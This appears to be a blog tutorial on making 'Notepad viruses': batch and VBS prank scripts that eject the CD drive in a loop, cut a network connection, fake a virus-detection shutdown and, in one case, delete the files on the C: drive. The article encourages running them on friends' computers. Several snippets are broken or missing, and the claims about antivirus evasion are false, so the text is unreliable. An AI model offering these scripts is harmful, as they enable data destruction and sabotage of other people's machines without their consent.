Notepad is one of the useful tools for windows. There are tons of things that you can do with Notepad such as you can create a computer virus in less than 60 seconds, or you can create your own personal diary. But, here in this article, we are going to share some unique methods to learn How To Make A Virus.

If you are computer geek, then you must ever thy these amazing Notepad hacks atleast once in your life. Creating Virus Batch file is a very easy task and here in this article, I am going to share exact same method. This is a Fake computer virus that didn’t harm your computer and hence this virus is also not detected by most of the popular Antivirus such as Quick heal or Kaspersky.

This notepad trick is very popular and most of you already know about this method. But still, there are some people who didn’t know how to create a computer virus by using the only NOTEPAD.

You can say that this is the Prank Virus because as I already mentioned above that this virus is not going to harm your computer or your personal files.

How To Make A Virus Batch File

What Is Computer Virus?

Basically, Computer virus is programed software that tried to access your personal files, folders or to delete them! These viruses are created to affect your personal data, operating system or they are used to steal your personal information.

The virus has the ability to replicate themself so that they can spread easily all over the world by emails, Pendrive, compact disk, etc.

But…Not every virus is harmful, sometimes the virus is used for security testing and other such matters. A basic way to be safe is to enable the firewall and install an anti-virus application.

So, are you ready to create your own virus? You can create this virus in seconds and in this article, I am going to share the possible ways and methods to create your own fake virus.


How To Make A Virus ( Batch File )

In this article, I am going to discuss the server notepad methods by which you can code your own batch file virus. Some methods are really Harmful to your PC and some of them are harmless for your PC.

So make sure that you will follow up on this tutorial correctly.


1. Create Your Own Harmless Cdrom Virus

1. Open Notepad, Copy this code and save it as  CD-ROM.vbs ( or, anything.vbs )

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 5000

2. As soon as you run the CD-ROM.vbs file, Your CD driver will continuously be ejecting automatically. When you insert it again, it will eject the CD drive again and again.

To stop this, You need to open the task manager ( Ctrl + alt +del ) and from there, you need to end/dismiss the wscript.exe file.

How to Create Virus
How To Make A Virus


2. Create Virus That Delete All /C: Drive Files ( Harmful )

Warning ahead – This virus is very harmful to your personal computer as this program will automatically delete all C drive files ( mostly where windows are installed ) and hence there are maximum chances that your computer will get corrected.

1. Open Notepad and paste the following code.

@Echo off
Del C: *.* |y

How To Make A Virus
How To Make A Virus


2. Save that file as Virus.bat or anything.bat

How To Make A Virus
How To Make A Virus


3. Now as soon as you will run this file, this virus will automatically delete all the C drives files and after that, your system gets corrected.

Warning – This method is only for educational purposes only. We are not responsible for any damages.


3. Create Virus To Test Your Antivirus ( Harmless )

You are using any free antivirus? or any paid one?

But, is that antivirus is working fine? I mean, is that antivirus is seriously protecting your device or just showing secure on-screen? Let’s find out by using this amazing notepad trick.

Here is a harmless virus that detects that your antivirus is working fine or not.

1. Open notepad and paste the below code.


2. Now, save that file as “EICAR.COM”

How To Make A Virus

Now, if you have active antivirus, then your antivirus will automatically delete that file. This virus is not going to harm your computer.

4. Virus To Disconnect The Internet Connection ( Batch File )

This virus is very useful and this virus is used to disconnect or blocks the internet connection to anyone’s personal computer.

1. Open Notepad and paste the following code.

@Echo off
Ipconfig /release

How To Make A Virus


As soon as you will run this virus in your pc or in your friend’s computer, this virus will flush all the DNS and IPs and hence your friend won’t able to access the internet.

To regain access to the internet, Paste the following code in notepad and save it as something.bat and run it.

@Echo off
Ipconfig /renew

This is the best notepad virus method.


5. How To make a Matrix Virus In Notepad

This code of program will not affect your computer, but this virus keeps showing some random string characters on ur screen or victims’ computer screen.

Since it keeps showing the random string characters on the screen so, many users think that their computer might be infected by some virus.

Open Notepad and paste the following code –

@echo off
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Now save it as Matrix.bat

How To Make A Virus

6. How To Create Shutdown Batch File By Notepad

Next, we have some codes by which you can suddenly shut down any computer by using the batch file. This virus is a harmless virus but this virus might lose your data.

Here is the complete tutorial on that.

  • First of all, Right-click on the desktop and there you will see the “Create Shortcut” option.


How To Make A Virus


  • On the popup window, Paste the following code
shutdown -s -t 60 -c "Virus Detection. Computer Is Shutting Down.

How To Make A Virus


  • Click On Next and Save it.

You can also change its icon so that it will look more realistic. As soon as you will run this program, Your computer will be shut down automatically.

Also, Read – How To Delete Truecaller Account

Making Virus That Are Undetectable by Antivirus

Antivirus is made to detect the harmful virus that may be injected to your computer by using the Email, Pendrives, CD drives, etc. But all the methods that I shared above are the simple virus that won’t infect your personal computer.

These are the prank virus and hence these viruses are Undetectable by any antivirus.


Conclusion –

So, this is everything that you need to know about, How to create a computer virus?

Make sure that you use this virus safely, Sometimes this notepad virus can also corrupt your computer easily. Also, if you like this article, then make sure that you share this article with your friends and family members.

Leave a Reply